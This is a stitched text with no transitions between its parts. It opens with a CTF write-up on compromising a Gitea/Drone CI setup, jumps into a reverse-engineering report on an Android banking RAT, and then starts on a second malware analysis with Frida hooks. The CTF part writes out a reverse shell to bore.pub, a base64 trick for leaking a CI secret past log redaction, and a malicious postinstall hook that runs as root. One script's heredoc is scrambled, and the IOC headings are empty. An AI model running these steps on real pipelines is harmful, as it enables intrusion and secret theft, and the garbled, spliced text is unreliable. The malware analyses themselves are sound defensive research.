Stage 1: Flow

Spinning up the challenge instances provided links to a Gitea and a Drone instance. While I am familiar with Gitea being a self-hostable Git platform due to my many self-hosting rabbit-hole deep dives, Drone was new to me. I learned that it is a "CI/CD platform built with a containers-first architecture."

The challenge provided default credentials, with the following description:

Team, we did it. We have officially eliminated friction. Permission gates? Deprecated. Approval queues? A fixed mindset we've chosen to leave behind. Here at Brunnerne Inc.™, value flows left to right, unblocked, empowered and self-service.

Onboarding note for our new contractors: Welcome aboard! Your access is intentionally minimal, go create beautiful value for our shareholders. We're certain you will go down in history!

Credentials: `brunner_dev:dev_go_brr`

The permission gates being deprecated and approval queues being left behind, along with the presence of the Drone platform, immediately made me think about getting a shell on the CI machines.

Logging into Gitea with the provided default credentials revealed:

An empty dashboard!

Poking through the interface for a bit led me to the explore panel, where I could see two more repositories belonging to the brunner_ops and brunner_admin accounts.

The brunner_ops repository, in particular, looked really interesting given its latest commit message, which read: read the ci password from the environment.

Looking into the commit history, the password for the brunner_ci user was sitting in plaintext. I then used that to log in as the brunner_ci user.

The current user also had write permissions for the brunner_admin/hello-drone repository, which also showed up on the Drone platform with an option to trigger a build.

The .drone.yml file at the repository root, which describes the whole pipeline, had three steps, two of which ran a Python file and its tests.

kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: build
    commands:
      - python app.py

  - name: report
    commands:
      - echo "build ${DRONE_BUILD_NUMBER} of ${DRONE_REPO} on ${DRONE_COMMIT_BRANCH} succeeded"

The app.py itself was rather minimal, performing a few arithmetic operations. Using revshells, I quickly added a few lines of code which would give me a reverse shell, which I was going to access using the bore tool on my PC.

Committing to the repository triggered the CI step, and a reverse shell owned by the drone user was waiting for me! Navigating to the home directory of the drone user revealed the first flag!

Flag: brunner{4ch13v3_4bs0lut3_fl0w_st4t3}

Stage 2: Feedback/Continuous Improvement

With my brunner_ci session, the explore tab also showed a private repository called deploy_tools owned by the brunner_ops user. The README.md said:

# deploy-tools

Tooling for building and verifying rollout bundles. Read-only members can open pull requests.

## CI

`verify-release.sh` pulls the newest bundle and re-checks its `SHA256SUMS`. 

This sounded like the author intended for players to fork the repository and have it executed via the Drone CI.

The challenge description also echoed a similar sentiment:

Brunnerne is a blameless, feedback-rich organisation. Every pull request runs our world-class verification pipeline, because we believe great ideas can come from anywhere, even outside the team. Especially outside the team. We're inclusive like that.

Rest assured: our secrets are handled to industry-adjacent standards and our logs are appropriately redacted.

The last line indicates that string-matching secret redaction would be enabled for the repository, so we'll have to encode the secret before printing it to avoid redaction.

Looking through the deploy-tools repository, the .drone.yml file shows that the verify-release.sh script runs with the REGISTRY_TOKEN variable set!

kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - sh verify-release.sh

The bundled (pun intended) make-bundle.sh script does most of the heavy lifting, taking in a source directory and a version number. Most importantly, it ensures that we include a post-install hook, making that the obvious attack path. Here's the full script:

#!/bin/sh
set -eu

SRC=${1:?usage: make-bundle.sh <src-dir> <version> [out-dir]}
VERSION=${2:?usage: make-bundle.sh <src-dir> <version> [out-dir]}
OUT=${3:-dist}
PACKAGE=rollout-bundle

[ -d "$SRC" ] || { echo "no such directory: $SRC" >&2; exit 1; }

WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT

mkdir -p "$WORK/bundle"
cp -R "$SRC/." "$WORK/bundle/"

if [ -d "$SRC/$OUT" ]; then
  rm -rf "$WORK/bundle/$OUT"
fi

[ -f "$WORK/bundle/hooks/postinstall" ] || {
  echo "$SRC/hooks/postinstall is missing, the agent has nothing to run" >&2
  exit 1
}

cat > "$WORK/bundle/manifest.json" <<EOF "$PACKAGE", "$VERSION", "$WORK/bundle" "$WORK/bundle/SHA256SUMS" "hooks": "hooks/postinstall" "package": "postinstall": "version": && ( ) -exec -f -k2 -type . EOF \; cd f find rm sha256sum sort { {} | }> "$WORK/SHA256SUMS"
mv "$WORK/SHA256SUMS" "$WORK/bundle/SHA256SUMS"

mkdir -p "$OUT"
tar -czf "$OUT/$PACKAGE-$VERSION.tar.gz" -C "$WORK" bundle
echo "$OUT/$PACKAGE-$VERSION.tar.gz"

Drone also injects the workspace secrets into the fork runs, so I forked the repository and cloned it to my machine.

Checking the .drone.yml file again, I realized that the environment variable containing the registry token was set in the verify-release step. I replaced the command in there to open a reverse shell to my machine. It now looked like this:

kind: pipeline
type: exec
name: default

platform:
  os: linux
  arch: amd64

steps:
  - name: test
    commands:
      - python -m unittest discover -v

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - sh -i >& /dev/tcp/bore.pub/61940 0>&1

It failed with an error, and I realized I didn't need a shell at all. I just added the following line:

echo "$REGISTRY_TOKEN" | base64

The base64 encoding was to escape Gitea's string secret detection.

The build ran, but it was not giving the correct token; instead, it just output Cg== (which is just an empty newline). I realized that this was because it was running in the context of the brunner_ci user. I opened a pull request into the brunner_ops repository, which triggered the build in their context. The registry token was then leaked as NzVjNDlkNmQ1ZDYwMDRjZTQyMWE3NTU1YTY1MWEyM2RhZjFjYjhhMwo=, which decoded to 75c49d6d5d6004ce421a7555a651a23daf1cb8a3.

With the brunner_ops token, which presumably had write access to the package repository, we could now finally insert our malicious package to get a root shell.

Before continuing on this path, I decided to use the Gitea API to ensure we had write permissions on the package repository.

➜ litmus deploy-tools (main) ✔ curl -s -H "Authorization: token 75c49d6d5d6004ce421a7555a651a23daf1cb8a3" \
  "$GITEA_URL/api/v1/user" | jq
{
  "id": 5,
  "login": "brunner_svc",
  "login_name": "",
  "full_name": "",
  "email": "svc@example.com",
  "avatar_url": "[https://secure.gravatar.com/avatar/456f9a7c789fccb68928e68db5999bb1?d=identicon](https://secure.gravatar.com/avatar/456f9a7c789fccb68928e68db5999bb1?d=identicon)",
  "language": "",
  "is_admin": false,
  "last_login": "1970-01-01T00:00:00Z",
  "created": "2026-08-24T16:07:19Z",
  "restricted": false,
  "active": true,
  "prohibit_login": false,
  "location": "",
  "website": "",
  "description": "",
  "visibility": "private",
  "followers_count": 0,
  "following_count": 0,
  "starred_repos_count": 0,
  "username": "brunner_svc"
}

This confirms that it's a service account: brunner_svc.

Since make-bundle.sh had already told us everything we needed—the expected source layout, the mandatory hooks/postinstall script, and the fact that the agent installs whatever is versioned newest—building the payload was straightforward.

➜ litmus deploy-tools (main) ✔ mkdir malicious-src/hooks -p
➜ litmus deploy-tools (main) ✔ nvim malicious-src/hooks/postinstall
➜ litmus deploy-tools (main) ✗ chmod +x malicious-src/hooks/postinstall
➜ litmus deploy-tools (main) ✗ sh make-bundle.sh malicious-src 999.0.0 dist
dist/rollout-bundle-999.0.0.tar.gz
➜ litmus deploy-tools (main) ✗

The version 999.0.0 was chosen to comfortably outrank any existing version. The resulting tarball was uploaded directly to the brunner_registry generic package feed using the token leaked in Stage 2.

The script was structured as follows:

mkdir -p malicious-src/hooks
cat > malicious-src/hooks/postinstall << 'EOF'
#!/bin/sh
{
  id
  cat /root/flag.txt 2>/dev/null
} > /tmp/pwned.log 2>&1
EOF
chmod +x malicious-src/hooks/postinstall

sh make-bundle.sh malicious-src 999.0.0 dist

To retrieve the result, another step was added to the pipeline to read the output file:

  - name: read-result
    commands:
      - cat /tmp/pwned.log

This returned:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}

There was a third flag too, buried somewhere in a hidden package version accessible via the Drone CI API, but I haven't included it here as I didn't find it during the CTF.

The sample which I started analyzing calls itself NightPlay. It was the final payload, missing the whole delivery chain around it. I traced the lure site, the dropper and the propagation mechanism later. So this post is not written in the order in which I figured things out. Instead, it follows the malware's actual execution path, starting from where a victim would actually land: an adult video site which never plays any.

The Lure: Nightroom

The trail starts on nightroom.cc, an adult video aggregator site. It clearly looks like a vibe-coded site, consisting of a grid of thumbnails of "Beauty Videos", and a CTA button to download an app to access 999 Free Plays.

Clicking on any video, and attempting to play it results in a APK download being triggered. The authors seem to be frequently rotating the APKs and the webpage being served over the C2 domain, as atleast a couple of variations were observed over the 2 weeks of analysis.

The downloaded APK is called Vexo. It sits tiny at around 2.71MB, and it doesn't serve much purpose beyond installing the next stage of the malware.

The Dropper: Vexo/Onda Pulse

When trying to install the app, the package manager reports the name of the app as Onda Pulse.

Upon installing the app and launching it, a VPN connection is set up, and the app requests permission to install unknown apps. With some static code analysis, it doesn't look like the VPN service is doing much by itself. It seems to have been implemented by the author as an anti-analysis measure, since only one VPN app at a time can be active on Android Devices, hence rendering VPN based inspection tools like HTTP Proxy unusable to network analysis.

Followed by this, the user is presented with a screen which tries to impersonate the Google Play Store and tricks the user into installing the second stage payload.

The app then pulls another app with the same Launcher Name (Onda Pulse), but a larger size (64MB) from it's C2, and installs it on the device. After a brief loading screen, the user is presented with a short-form video like interface with adult content. Newer versions of the dropper also included a menu offering to connect users to adult content creators, and an "AI Studio", which showcased a blurred thumbnail library of multiple videos.

Trying to click upon any of these 3 lures results in the app requesting "Playback service access", which actually takes the user to the Accessibility settings for the app.

Enabling the permission brings up an initialization screen, which blocks everything else from the screen, and in the background grants the app access to the common permissions like calls, SMS etc, while also enrolling the app as a "Device admin" app, which makes it much more difficult to uninstall/force stop an app for naive users.

The app uses the device admin permission to lock the device, and when the user unlocks the device, it presents an unlock screen similar to the lock method set by the user (pattern/PIN etc.) The first entry on the lock always results in a failed attempt, and the second attempt always succeeds.

Under the hood

Everything up to this point was Vexo and Onda Pulse, but as noted earlier, the attackers rotate the APKs and webpages served by their infrastructure over time. The following analysis was performed on samples that shipped under different names entirely: the dropper was called Reeloop, and the payload called itself NightPlay. Different names, different hashes, but nearly identical behavior. That earlier analysis went much deeper than this one, so from here on, the technical breakdown continues on that sample.

While this was the flow of a victim of the malware, I also recorded the app's activity, analyzed its source code, and dumped files from its private storage, thanks to my newly rooted secondary device.

Remote Config

The first move of the app is to request a config file, hosted, of all places on GitHub pages at https://yanglin202107.github.io/project-docs/d/config.json

{
  "version": 9,
  "updatedAt": "2026-07-03T05:28:43Z",
  "servers": [
    { "name": "主节点", "apiBase": "https://voicezone.vip", "region": "hk", "priority": 1 },
    { "name": "主节点", "apiBase": "https://nightroom.cc", "region": "hk", "priority": 2 }
  ]
}

The two candidate C2 hosts are also on the domain on which the lure sites run. The app checks /api/health on both before picking one.

During my analysis runs of the app, voicezone.vip answered with a HTTP 200 on the health check, but the step after that (device registration) returned HTTP 500. Instead of trying to figure out why their priority 1 server was half broken, I blocked outbound traffic to voicezone.vip in my test environment, which forced the app to fall back to nightroom.cc, and from there, the whole registration and config flow went cleanly.

Device Registration

Once it settles on a working host, the app checks in via /api/device/init. The request carries the Android ID, app version, build fingerprint, screen metadata, and a SHA256 hash of its own signing certificate, alongside a locally computed proof value:

{
  "androidId": "84ed4d529051ab92",
  "appVersion": "3.0.83",
  "brand": "google",
  "buildFingerprint": "google/sdk_gphone16k_x86_64/emu64xa16k:17/CP31.260618.005/15731206:userdebug/dev-keys",
  "packageName": "com.codex.nightplay",
  "packageSignature": "28fb1fbf9c71354729eb5d2d38dfb5de99a092ef83e086532a4e178d7c474ba3",
  "proof": "5a5580d54802e968e9f9bac47dc7ccba30ddcced3e2ba37712c963b7ca3b3d68",
  "proofAlgorithm": "sha256-local-v1",
  "proofTimestampMs": 1785134538068
}

That packageSignature value isn't cosmetic. It matches the SHA256 fingerprint of the app's own debug certificate exactly. The backend is fingerprinting every build by its signing key, meaning whoever runs this operation can tie a registered device back to the exact build, and by extension the exact campaign, that infected it.

Both voicezone.vip and nightroom.cc passed their /api/health checks fine. It was the actual /api/device/init call to nightroom.cc that failed, a 502 from nginx. voicezone.vip took the request cleanly instead and returned:

{
  "code": 0,
  "data": {
    "deviceId": "DEV-DD6B2E497B18",
    "deviceCode": "DEV-DD6B2E497B18",
    "token": "b7b16159-fe52-49c1-a31a-e26a0423b46c"
  },
  "msg": "初始化成功"
}

With that token, it calls /api/app/auth/device-login:

{
  "channel": "official",
  "deviceCode": "DEV-DD6B2E497B18",
  "inviteCode": "123456",
  "loginSource": "app-native"
}

That 123456 invite code isn't something a user typed in anywhere, it's hardcoded into the build (BuildConfig.DEFAULT_INVITE_CODE). The response is a JWT plus a full user object:

{
  "code": 0,
  "data": {
    "isNewUser": true,
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "user": {
      "deviceCode": "DEV-DD6B2E497B18",
      "inviteCode": "GT3PQU",
      "isVip": false,
      "nickname": "user1231",
      "permissionLevel": 0,
      "permissionStage": "registered",
      "userId": 1453678,
      "userNo": "U2026072791231"
    }
  },
  "msg": "登录成功"
}

Notice the two invite codes at play here. The app logs in using the hardcoded default 123456, and the server logs it in as isNewUser: true and hands back a brand new invite code of its own, GT3PQU. Every infected device becomes a fresh node in a referral tree, with its own code to pass along. This is the same mechanic behind the "My Invite Code" field you'd have seen on the lure app's profile screen, copy code, invite friends, rack up plays. It's not decoration bolted onto a RAT. The RAT is bolted onto a referral program.

Runtime Configuration

Registered and logged in, the app pulls its full operating configuration from /api/device/config. This single response is enormous, deep enough that reproducing all of it here would bury the interesting parts, so I've uploaded the full JSON to a GitLab snippet for anyone who wants to dig through it themselves. A few pieces are worth pulling out directly.

appSoftwareMonitorConfigs lists the apps it watches for, PhonePe, Paytm, GPay, BHIM, Nagad, and dozens more across UPI, international banking, and crypto. Each entry is tagged with a listenType and a target package name, so the client knows exactly what to look for on the device without any of that logic being hardcoded into the APK itself. Push a new entry to this list server-side, and every infected device starts watching for it, no update required.

stagesConfigs goes a level deeper for a smaller set of these apps (PhonePe, GPay, Paytm, BHIM, and around fifteen others), defining a four-stage credential harvesting playbook per app: a login stage to detect a PIN or password screen, a balance stage to locate and read account balance, a payment stage to catch a transaction PIN entry and extract bank name and amount, and a success stage to confirm the payment went through. Each stage carries its own view IDs, keyword lists, and PIN length bounds. This is app-specific phishing logic, shipped and updated entirely from the server side.

lockscreenUnlockAuto is the piece that explains the fake-unlock trick directly. It's enabled by default, and it defines multilingual hint word lists (English, Hindi, and Chinese observed) to recognize password, PIN, and pattern lock screens, plus biometric fallback prompts like "Use password" or "Try another way." It carries its own timing parameters too, swipe count, PIN entry delay, pattern duration, retry limits, all tunable from the server without touching the client. This is the same screen I ran into during the Onda Pulse trace:

The overlay convincingly mimics the device's actual lock type because the malware already knows the lock type, it recorded it before triggering the lock in the first place. The first attempt always fails regardless of what's entered, and the second always succeeds. Looking at lockscreenUnlockAuto, that's not a bug or a race condition, it's a scripted behavior with its own retry and timing config.

One more piece worth a mention: keepAlive defines a set of evasion strategies, one of which watches for the user landing on a battery-drain or force-stop screen (matched against a long multilingual keyword list) and immediately backs out. Combined with the device admin enrollment, this is another layer standing between a suspicious user and actually removing the app.

WebSocket Protocol

With the HTTP side of registration done, the app opens a WebSocket connection to wss://voicezone.vip/device/ws. The first few attempts failed outright, 502s, with a fresh Sec-WebSocket-Key sent on each retry (EosWnDcSTt5w0F3peonQUQ== among the failures). Eventually one landed, AV4bQJ6jm/BTZv5i0cjIIg==, and the handshake completed.

The protocol that follows is a small, tightly typed message set. Every message carries a deviceId, a msgId, a timestamp, and a type. The session opens with an AUTH message, essentially a fuller version of the device fingerprint sent earlier, plus the token issued during login:

{
  "type": "AUTH",
  "data": {
    "appVersion": "3.0.83",
    "brand": "google",
    "model": "sdk_gphone16k_x86_64",
    "screenHeight": 2400,
    "screenWidth": 1080,
    "token": "b7b16159-fe52-49c1-a31a-e26a0423b46c"
  },
  "deviceId": "DEV-DD6B2E497B18",
  "msgId": "a3acb07c-afcd-4e14-904b-2e45926ad8ca",
  "timestamp": 1785136071
}

The server replies with a bare AUTH_OK, and from there the device starts talking on its own. A PING follows almost immediately, carrying thermal and battery telemetry (temperature, charge state, power-save status), then a much heavier STATE message that dumps the device's full connection and battery state in one shot: network type, signal quality, WebSocket health metrics down to the millisecond, thermal readings again, all of it.

From here the server can push COMMAND messages at will, and the client answers each one with a REPORT referencing the original msgId. Two commands showed up during this session. The first was mundane:

{
  "type": "COMMAND",
  "data": { "action": "REFRESH_DEVICE_CONFIG" }
}

which the client acknowledged with a plain success report ("设备配置已刷新", config refreshed).

The second was more interesting. GET_INSTALLED_APPS came in with a commandId and a value of SCAN_LOCAL, and the device responded with a full JSON array of every installed app, package name, and version string on the phone. Scrolling through that list is where it gets a little uncomfortable: sitting right there next to Chrome, Gmail, and YouTube is tech.httptoolkit.android.v1, HTTP Toolkit. The malware's own reconnaissance command handed back the exact tool I was using to intercept its traffic. It doesn't appear to have acted on that information in this session, no evasive behavior kicked in, but the operator on the other end of that WebSocket had every opportunity to notice they were being watched.

What's left on disk

Static analysis had already predicted where the app would keep its local state, and pulling the actual files off a rooted device confirmed it. nightplay_prefs.xml holds nothing but the hardcoded invite code:

<map>
    <string name="invite_code">123456</string>
</map>

domain_resolver.xml caches the result of the domain resolution step from earlier, so the app doesn't have to re-fetch and re-check both C2 hosts on every launch:

<map>
    <string name="resolved_region">hk</string>
    <string name="resolved_config_urls">["https://yanglin202107.github.io/project-docs/d/config.json"]</string>
    <string name="resolved_name">主节点</string>
    <string name="resolved_api_base">https://voicezone.vip/api</string>
    <long name="resolved_timestamp" value="1785142888875" />
</map>

Two smaller files round it out: permission_status_diagnostics.xml, tracking whether the keep-alive service is running, and offline_diagnostics.xml, timestamping the last time accessibility permission state changed. Nothing dramatic on its own, but together with the config pulled over the wire, it's a complete picture of exactly what the app knows about itself and the device it's sitting on at any given moment.

The Accessibility Automation Engine

Everything up to this point, registration, config, WebSocket, is plumbing. This is where the app actually does things to the device. ControlAccessibilityService is the component that turns a single granted permission into full control over the UI, and the code around it splits into a few distinct jobs.

Uninstall guard: The service watches every accessibility event on the device, clicks, window changes, content changes, and walks the active window's node tree looking for a small set of screens: app info pages, uninstall or force-stop dialogs, the accessibility settings page itself, developer options, the notification shade, the device admin deactivation screen. It recognizes these across languages too, keyword lists exist for English, Simplified and Traditional Chinese, Hindi, Bengali, Urdu, Tamil, Telugu, and Marathi. The moment one of these screens is detected, the guard fires an exit burst: a configurable number of Back presses at a configurable interval, sometimes followed by Home. It even accounts for different OEM launchers (MIUI, Oppo, Samsung, stock Google) so it can catch someone trying to uninstall from the app drawer instead of settings. The one place this guard stands down is during the app's own onboarding, it disables itself while running its own permission requests, so it doesn't accidentally Back-button its way out of asking for the permissions it needs.

Credential and PIN theft: This is where stagesConfigs from the earlier config dump gets used. For any of the twenty-odd tracked financial apps, the service watches for a login, balance, payment, or success screen using the view IDs and keywords defined server-side, and extracts whatever it finds, PINs, balances, transaction amounts, bank names, straight off the screen without ever touching the app's actual authentication flow. As far as the banking app is concerned, a real user is just using it normally.

The lockscreen trick: lockscreenUnlockAuto, as covered earlier, drives this directly. The overlay you see isn't guessing at your lock type, it already knows it, because the accessibility service recorded by forcing a device lock abusing the admin permission. What the config also confirms is the "fail once, succeed always" behavior isn't a UI bug on my end, it's built around inputRetries and scripted timing (enterDelayMs, pressEnter) meant to look like a real device rejecting a mistyped PIN once before accepting it. It's a small detail, but it's the kind of thing that makes a fake screen feel real for exactly as long as it needs to.

The command set: Everything above gets triggered by commands arriving over the WebSocket, the same COMMAND message type we saw asking for REFRESH_DEVICE_CONFIG and GET_INSTALLED_APPS. The full list runs to more than thirty distinct actions, but they group cleanly:

Credential theft: CREDENTIAL_SIM_SHOW, PAYMENT_PIN_SHOW, and their dismiss counterparts, pop the fake overlays on demand.

Privilege escalation: REQUEST_PERMISSION_AUTH, RUN_PERMISSION_INIT, AUTO_SETTINGS_SEARCH_BIOMETRIC, walk the user (or walk past the user) through granting more access.

Remote control: SET_CONTROL_MODE, SET_SYNC_FREQ, switch between screen and layout streaming and how often frames get pushed out.

Evasion: KEEP_SCREEN_OFFKEEP_SCREEN_ON, NOTIFICATION_DISMISS_AUTOMATION, SET_ONLINE_LITE_MODE, keep the app quiet and unnoticed when it needs to be.

Message abuse: MSG_BROADCAST, the propagation engine, more on that next.

Unrecognized commands fall through to a logged error (远程指令未识别, unrecognized remote command), which is a small tell that this command set has grown organically over time, there's error handling built for the day the operators add a new one the client doesn't know about yet.

Propagation: The Loop Closes

MSG_BROADCAST is the command that turns an infected phone into a distribution node. When it fires, the server hands over a communication channel (whatsapp, sms, or, as observed in a live trace, telegram), a message body, a list of recipient numbers, and a delay range to space sends out. The recipients are the victims own contacts.

The engine doesn't touch any of these apps through an API. Instead, it accesses them using the accessibility tree. Numbers get normalized first, non-numeric characters stripped, country code prefixed if missing, defaulting to 91.

Then for each recipient, the same sequence repeats:

1. Open the conversation

2. Wait for the UI to settle

3. Find the message input field by its accessibility view ID

4. Insert the text with ACTION_SET_TEXT

5. Find the send button either by known view ID or by searching for common labels

6. Click it with ACTION_CLICK, then confirm the send actually went through by checking that the compose field went empty again. A randomized delay, then the next contact.

Under the hood this runs through an adapter pattern, one adapter per messaging app, each one knowing that specific app's exact view IDs and quirks. Only one broadcast job is allowed to run at a time, tracked with atomic state so a second command can't stomp on one already in progress, and the whole thing is built to survive a screen that doesn't load in time rather than just crashing out.

This is the mechanism that explains why this post opened on a site called nightroom.cc at all. Somewhere, on someone else's phone, that same engine ran once already, sending a link out to contacts.

Same Loop, Different Skin

Everything above, the accessibility engine, the credential harvesting, the lockscreen trick, the WebSocket protocol, was reverse engineered from a sample calling itself Reeloop and NightPlay. The lure site and the live trace that opened this post ran on an entirely different set of names, Vexo and Onda Pulse, different file names, different hashes, different sizes even, but the same backend and the same behavior underneath, right down to the fail-once-succeed-always lockscreen and the exact WebSocket message types.

That's not a coincidence, and it's not a copycat borrowing the idea. It's the same operation shipping a different build under a different skin. Follow enough of these lure sites and the pattern keeps showing up, one traced session pulled down something called Vexo.apk from cdn.zorex.live, with a build path in the download URL literally tagged india-prod-admin-44698. That's campaign infrastructure with the naming baked right into the file path, which means there's a pipeline somewhere generating these builds on demand, each with a new package name and a freshly debug-signed cert, but the same C2 domains wired in underneath every time.

Which is really the only lesson worth taking from any of this. Don't trust the name. A file called Reeloop today might be called something else by the time you're reading this, and whatever it drops probably won't be called NightPlay either. What stays constant is the stuff underneath, the domains, the hashes, the shape of the WebSocket messages, the exact way it locks your screen and lets you back in on the second try. That's what's actually worth watching for.

Indicators of Compromise

File Hashes (SHA256)

Application Identity

Command & Control

Backend & APIs

Infrastructure / CDN

Deceptive Lure Domains

Tapping it, however, didn't open an app. Instead, it opened its page in the Android Settings, the one which shows the permissions, battery usage and other details. An open button sat on the top, expecting to be tapped by a confused user.

That's when the malware comes to life.

I started with MobSF for a static pass, examined with JADX, and then spun up a rooted AVD and instrumented it with Frida. The deeper I got, the more interesting it became.

Analysis revealed it to be an Android banking RAT. It had capabilities to perform overlay attacks against 19 targets across Japan and Latin America, and popular crypto apps, accessibility service-based automation that grants itself extensive permissions, silent gallery and contact exfiltration, and an interface for operators to issue commands. Pivoting from the C2 infrastructure helped me find what appears to be a C2 control panel on shared infrastructure.

This post is a walkthrough of my analysis, from static properties, activation flow, crypto hooks, C2 payload interception and finally the C2 panel discovery.

First Look

The APK comes in at a tiny 6.1 MB. MobSF shows that it was V3 signed with every field in the certificate set to Unknown. No legitimate app ships like this.

Subject: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown

MobSF failed to extract basic metadata, package name, main activity, version, and JADX showed no AndroidManifest.xml. The manifest appears to use non-standard binary encoding: valid enough for the Android runtime to install and launch it, but enough to confuse or defeat common static analysis tools.

Opening up the app in JADX, the filenames look randomly generated. Even the usual AndroidManifest.xml file seems to be obfuscated and buried amongst this pile of various files.

Due to heavy obfuscation, it was impractical to try and prod further with static analysis. The obvious next step was dynamic analysis.

Analysis Environment

For the dynamic analysis, I set up a rooted Android Studio AVD running Android 10 x86_64. Frida was installed for dynamic instrumentation.

Activation Flow and Instrumentation

Upon opening the app, a screen is presented to the user which requests them to grant accessibility permissions to the app. Before granting the permission in the emulator, I attached my networkHook.js script to it to identify the C2 endpoint.

Java.perform(function() {
    var Socket = Java.use('java.net.Socket');
    
    Socket.$init.overload('java.lang.String', 'int').implementation = function(host, port) {
        console.log('[*] Socket connect: ' + host + ':' + port);
        return this.$init(host, port);
    };

    var URL = Java.use('java.net.URL');
    URL.openConnection.overload().implementation = function() {
        console.log('[*] URL.openConnection: ' + this.toString());
        return this.openConnection();
    };
});

As it is seen in the screenshot, when hooking into the app while it "optimizes" the phone, it phones home at the /api/device_log endpoint, probably reporting back the device info.

For that, we will have to hook into the method and see the payload while it is constructed.

The network hooks also showed the app using the bot API to send an initial message informing the operator of a successful infection on another device, although throughout my analysis the Telegram Bot API consistently returned a 429 Too Many Requests error.

While it might seem intuitive to hook directly into the same method and dump the payload directly, we have to remember that it uses an HTTPS connection, meaning the payload is encrypted before being handed off.

So we go a level lower. The Crypto classes in Java use a doFinal() method once all parameters have been configured. Hooking at that step to dump the plaintext is a good way forward. Using the cryptoHooks.js script as follows:

Java.perform(function() {
    var Cipher = Java.use('javax.crypto.Cipher');
    
    Cipher.doFinal.overload('[B').implementation = function(bytes) {
        console.log('[*] Cipher.doFinal input: ' + 
            Java.use('java.lang.String').$new(bytes));
        var result = this.doFinal(bytes);
        return result;
    };

    var OutputStream = Java.use('java.io.OutputStream');
    OutputStream.write.overload('[B').implementation = function(bytes) {
        var str = Java.use('java.lang.String').$new(bytes);
        console.log('[*] OutputStream.write: ' + str);
        return this.write(bytes);
    };
});

And as suspected, the app is exfiltrating the device info such as the charging status, the amount of memory available in the device, and interestingly, if the device has granted battery optimization exemption to the app, if the accessibility service is granted, the SDK, the make and model of the device and an ID.

The garbled text which also shows up seems to be the encrypted payload being sent by the server to the device, and we will have to improve on our script to be able to find out what the app is doing with the accessibility service as well.

boss.js The all in-one script

After several iterations, I finally made a boss.js, which would hook into multiple methods of interest, such as the Crypto methods, the Accessibility Service, the SecretKeySpec (since the app encrypts its payloads before sending over the network). With a little help from Claude, this is the script I came up with, available on Gitlab Snippets

The combined hooks revealed substantially more about the malware's behavior.

As soon as the app boots up, it reads the following HTML page, which is the accessibility granting flow shown to the user and presents it on the screen.

[NET] BufferedReader.readLine: function applyLang(lang){
[NET] BufferedReader.readLine: var t=i18n[lang]||i18n.en;
[NET] BufferedReader.readLine: var appName="App";
[NET] BufferedReader.readLine: try{appName=Android.getAppAcc()||Android.getAppLabel()||"App";}catch(e){}
[NET] BufferedReader.readLine: document.getElementById("title").textContent=t.title;
[NET] BufferedReader.readLine: document.getElementById("subtitle").textContent=t.subtitle;
[NET] BufferedReader.readLine: document.getElementById("stepSettings").textContent=t.stepSettings;
[NET] BufferedReader.readLine: document.getElementById("stepAccessibility").textContent=t.stepAccessibility;
[NET] BufferedReader.readLine: document.getElementById("stepEnable").textContent=t.stepEnable;
[NET] BufferedReader.readLine: document.getElementById("infoText").textContent=t.infoText.replace("{app}",appName);
[NET] BufferedReader.readLine: document.getElementById("btnText").textContent=t.btnText;
[NET] BufferedReader.readLine: document.getElementById("appName").textContent=appName;
[NET] BufferedReader.readLine: if(rtlLangs.indexOf(lang)!==-1){
[NET] BufferedReader.readLine: document.documentElement.setAttribute("dir","rtl");
[NET] BufferedReader.readLine: }

This Javascript function in the page stood out. It checks the locale of the device and changes the contents of the page to the matching language. This is indicative of a multi-region malware.

After this, the hooks on the SecretKeySpec fired, revealing the encryption class instantiated by the class to encrypt its requests.

[KEY] algorithm: AES
[KEY] key (b64): MDYyM1UyNUtUVDNZTzhQOQ==

[KEY] key (hex): 303632335532354b545433594f385039
[KEY] algorithm: AES
[KEY] key (b64): MDYyM1UyNUtUVDNZTzhQOQ==
[CIPHER] getInstance: AES/ECB/PKCS5Padding
[CIPHER] init mode: DECRYPT
[CIPHER] key length: 128 bits

The attacker chose a static key ( this was verified by running the malware multiple times ), and AES-ECB padding. ECB mode is deterministic: identical plaintext always produces identical ciphertext. This could potentially be used later to easily be able to decrypt any encrypted data flowing through this channel.

The app was reporting back a lot of information quite often. While I had suspected the use of websockets from the beginning, this log confirmed it.

[CIPHER] outgoing plaintext: {"action":"diag","type":"enc","data":{"type":"conn","msg":"binary_ws_connected","ts":1783684247430,"deviceId":"c86ede892b00d6a6"}}
[CIPHER] ciphertext (b64): T3Wv5ySb5IJKNT6FOJF30mqEgk+OZMNb7KhC+YCzQjLnhCyxDuM+s2ogVRmHY9Zp+miHE4hZVDIS
0TuZMualaEmPMZ1y7TzoXoovR7YaJVlGrkaHQSov8iBlPe7fcA2m9Delt5vjFIpZOcKTjR3QpNym
kktmqg7hr7zIUCYxbWxY1+xpwuct8IDxJVsqi8KZ

The server was also sending down huge payloads, which were encrypted with the same key, and base64 encoded on top. It contained a list of various OEM-specific settings strings it would click on for granting itself device admin access.

This payload contained the strings for the following OEMs:

com.vivo.permissionmanager - vivo (Funtouch OS)
com.samsung.android.permissioncontroller - Samsung (One UI)
com.huawei.systemmanager - Huawei (EMUI)
com.miui.securitycenter - Xiaomi (MIUI/HyperOS)
com.miui.packageinstaller - Xiaomi (MIUI/HyperOS)
com.lbe.security.miui - Xiaomi (MIUI/HyperOS)
com.coloros.safecenter - OPPO (ColorOS)
com.oppo.safe - OPPO (ColorOS)
com.transsion.phonemaster - Transsion (TECNO/Infinix/itel)
com.google.android.packageinstaller - AOSP/Generic Android
com.android.packageinstaller - AOSP/Generic Android
com.android.settings - AOSP/Generic Android
com.samsung.android.settings - Samsung (One UI)
com.samsung.android.lool - Samsung (One UI)
com.samsung.android.sm - Samsung (One UI)
